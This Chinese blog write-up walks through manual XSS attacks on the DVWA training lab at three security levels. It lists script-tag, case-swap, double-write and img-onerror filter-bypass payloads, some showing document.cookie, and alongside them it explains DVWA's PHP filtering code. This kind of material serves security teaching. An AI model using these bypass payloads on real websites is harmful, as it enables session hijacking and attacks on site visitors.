目录
XSS(DOM)-LOW
普通注入
代码分析
后端
前端
XSS(DOM)-MIDIUM
普通注入
大小写绕过
Html标签绕过
闭合标签
代码分析
XSS(DOM)-HIGH
闭合+HTML标签绕过
代码分析
主要步骤
漏洞原因
XSS(Reflected)-LOW
普通注入
代码分析
主要步骤
漏洞原因
XSS(Reflected)-MIDIUM
普通注入
大小写绕过
双写绕过
代码分析
主要步骤
漏洞原因
XSS(Reflected)-HIGH
普通注入
大小写绕过
双写绕过
html标签绕过
代码分析
主要步骤
漏洞原因
XSS(Stored)-LOW
普通注入
代码分析
主要步骤
漏洞原因
XSS(Stored)-MIDIUM
普通注入
大小写绕过
代码分析
主要步骤
漏洞原因
XSS(Stored)-HIGH
Html标签绕过
代码分析
主要步骤
漏洞原因
本篇文章,针对靶机dvwa(Damn Vulnerable Web Application)中的XSS(DOM)、XSS(Reflected)、XSS(Stored)的LOW、MIDIUM、HIGH安全级别使用网络安全-js安全知识点与XSS常用payloads中提到的XSS注入payloads,使用手工进行XSS注入。并根据网络安全-php安全知识点对LOW、MIDIUM、HIGH、IMPOSSIBLE安全级别的代码进行解释。
目标:弹出窗口/获得cookie
XSS(DOM)-LOW
可以看到,是get型
普通注入
<script>alert('lady_killer9')</script> 
代码分析
后端
<?php# No protections, anything goes?>  
前端
代码:
if (document.location.href.indexOf("default=") >= 0) {var lang = document.location.href.substring(document.location.href.indexOf("default=") + 8);document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");document.write("<option value='' disabled='disabled'>----</option>");
}document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>"); 
下拉框显示4个,上面显示default参数的内容
漏洞原因:
输入未过滤
输出未改变编码
XSS(DOM)-MIDIUM
可以看到是Get型
普通注入
<script>alert('lady_killer9')</script> 
 过了一会,然后显示English。尝试大小写绕过。
大小写绕过
<scRipt>alert('lady_killer9')</sCript> 
和上面一样,过了一会显示English。尝试Html标签绕过。
Html标签绕过
<img src=x:alert(alt) onerror=eval(src) alt=xss> 
还是没有显示,那应该是需要闭合标签了
闭合标签
></option></select><img src=x:alert(alt) onerror=eval(src) alt=xss> 
在这之前我们已经按了F12,查看了源代码,其实除了存储型,DOM和反射都没什么意思,因为可以F12直接查看,对其他用户也没什么攻击性。
代码分析
<?php// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {$default = $_GET['default'];# Do not allow script tagsif (stripos ($default, "<script") !== false) {header ("location: ?default=English");exit;}
}?>  
后端过滤了一下<script,大小写都不行。
XSS(DOM)-HIGH
HIGH级别就不从普通的开始试了
闭合+HTML标签绕过
></option></select><img src=x:alert(alt) onerror=eval(src) alt=xss> 
还是会变成English,应该是后端的问题。我也不知道怎么干了。。。
----------------写完后面的反射型,我又回来了---------------
反射型XSS注入url的锚点(#)后并没有标签id,这似乎提醒着我们可以在锚点后注入(《CTF特训营 P28页也提到了锚点》),这样就不会传到服务器了。
English#<script>alert('xss')</script> 
代码分析
<?php// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {# White list the allowable languagesswitch ($_GET['default']) {case "French":case "English":case "German":case "Spanish":# okbreak;default:header ("location: ?default=English");exit;}
}?>  
主要步骤
- array_key_exists函数判断default变量是否存在,并判断是否非空
 - 使用switch...case构造白名单,若不在case中跳回到English
 
漏洞原因
- 输入想使用switch..case来解决,确实很棒,但是由于不是存储型,可以不发送到服务器进行数据库的存储。不过,锚点这个挺难想到的,还好后面有提示,挺巧妙的!!!
 - 输出未改变编码
 
XSS(Reflected)-LOW
普通注入
<script>alert('XSS')</script> 
代码分析
<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}?>  
主要步骤
- array_key_exists函数判断name变量是否存在,并判断是否非空
 - 若存在且非空,直接输出
 
漏洞原因
- 输入未过滤
 - 输出未改变编码
 
XSS(Reflected)-MIDIUM
普通注入
<script>alert(document.cookie)</script> 
从结果来看,<script>和</script>没有了,可能被删除或替换为空字符串。尝试大小写绕过和双写绕过
大小写绕过
<sCript>alert(document.cookie)</scRipt> 
双写绕过
<scr<script>ipt>alert('XSS')</scr<script>ipt> 
代码分析
<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>";
}?>  
主要步骤
- array_key_exists函数判断name变量是否存在,并判断是否非空
 - 若存在且非空,使用str_replace函数替换<script>为空字符串,然后输出
 
漏洞原因
- 输入过滤不到位,尝试使用str_replace函数进行过滤,此函数区分大小写,对替换后的字符串不会再检查,可被双写、大小写等绕过
 - 输出未改变编码
 
XSS(Reflected)-HIGH
普通注入
<script>alert('XSS')</script> 
仅剩余了>,其他全部没有了,尝试大小写或双写绕过
大小写绕过
<sCript>aleRt(document.cookie)</scRipt> 
双写绕过
<scr<script>ipt>aleralertt(document.cookie)</scr<script>ipt> 
可能使用了正则表达式,尝试不使用js标签
html标签绕过
<img src=x onerror=alert('XSS');> 
<A HREF=http://127.0.0.1/phpinfo.php>link</A> 
代码分析
<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>";
}?>  
主要步骤
- array_key_exists函数判断name变量是否存在,并判断是否非空
 - 若存在且非空,使用preg_replace函数进行正则表达式匹配,且大小写都会匹配到,替换为空字符串,然后输出
 
漏洞原因
- 输入过滤不到位,尝试使用preg_replace函数进行正则表达式匹配过滤,但仅匹配了<script>相关,未匹配html标签
 - 输出未改变编码
 
XSS(Stored)-LOW
post方式,两个都会输出,对一个进行注入即可。
普通注入
<script>alert('lady_killer9')</script> 
Name有长度限制,Message注入失败,应该是Name可以注入,但是被限制了。尝试抓包进行注入。
txtName=<script>alert('lady_killer9')</script>&mtxMessage=%3Cscript%3Ealert%28%27lady_killer9%27%29%3C%2Fscript%3E&btnSign=Sign+Guestbook 
代码分析
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = stripslashes( $message );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitize name input$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close();
}?>  
主要步骤
- isset函数判断btnSign是否提交,即是否点击了Sign Guessbook按钮。
 - 使用trim函数去除提交的mtxMesssage、txtName前后导空格,分别给message、name变量
 - 使用stripslashes函数对message删除反斜杠,使用mysqli_real_escape_string函数对name、message变量中的特殊字符转义
 - 使用mysqli_query函数插入数据库
 
漏洞原因
- 未过滤输入,使用post方式增加难度
 - 输出未改变编码
 
通过阅读后端代码,我们发现name长度的判断并不在后端,按F12查看前端代码。
删除maxlength="10"
漏洞原因:使用前端限制长度
XSS(Stored)-MIDIUM
通过LOW级别,我们知道是前端限制的Name,我们接下来不再抓包,直接删除maxlength,就在页面进行XSS注入。
普通注入
<script>alert('lady_killer9')</script> 
标签没了,尝试大小写绕过
大小写绕过
<scRipt>alert('lady_killer9')</sCript> 
代码分析
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );// Sanitize name input$name = str_replace( '<script>', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close();
}?>  
主要步骤
- isset函数判断btnSign是否提交,即是否点击了Sign Guessbook按钮。
 - 使用trim函数去除提交的mtxMesssage、txtName前后导空格,分别给message、name变量
 - 使用strip_tags函数对 使用函数addslashes添加反斜杠的message变量 剥去heml、xml、php标签,使用mysqli_real_escape_string函数对message变量中的特殊字符转义
 - 使用str_replace函数将name中的<script>标签替换为空字符串,使用mysqli_real_escape_string函数对name变量中的特殊字符转义
 - 使用mysqli_query函数插入数据库
 
漏洞原因
- 输入过滤不到位,尝试使用str_replace函数进行过滤,此函数区分大小写,对替换后的字符串不会再检查,可被双写、大小写等绕过
 - 输出未改变编码
 
XSS(Stored)-HIGH
还是post方式,前端检查长度,直接删除,然后Html标签绕过、
Html标签绕过
<img src=x onerror=alert('XSS');> 
代码分析
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );// Sanitize name input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close();
}?>  
主要步骤
- isset函数判断btnSign是否提交,即是否点击了Sign Guessbook按钮。
 - 使用trim函数去除提交的mtxMesssage、txtName前后导空格,分别给message、name变量
 - 使用strip_tags函数对 使用函数addslashes添加反斜杠的message变量 剥去heml、xml、php标签,使用mysqli_real_escape_string函数对message变量中的特殊字符转义
 - 使用preg_replace函数进行正则表达式匹配,然后替换为空字符串,使用mysqli_real_escape_string函数对name变量中的特殊字符转义
 - 使用mysqli_query函数插入数据库
 
漏洞原因
- 输入过滤不到位,尝试使用preg_replace函数进行正则表达式匹配过滤,但仅匹配了<script>相关,未匹配html标签
 - 输出未改变编码
 
更多内容查看:网络安全-自学笔记
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。



















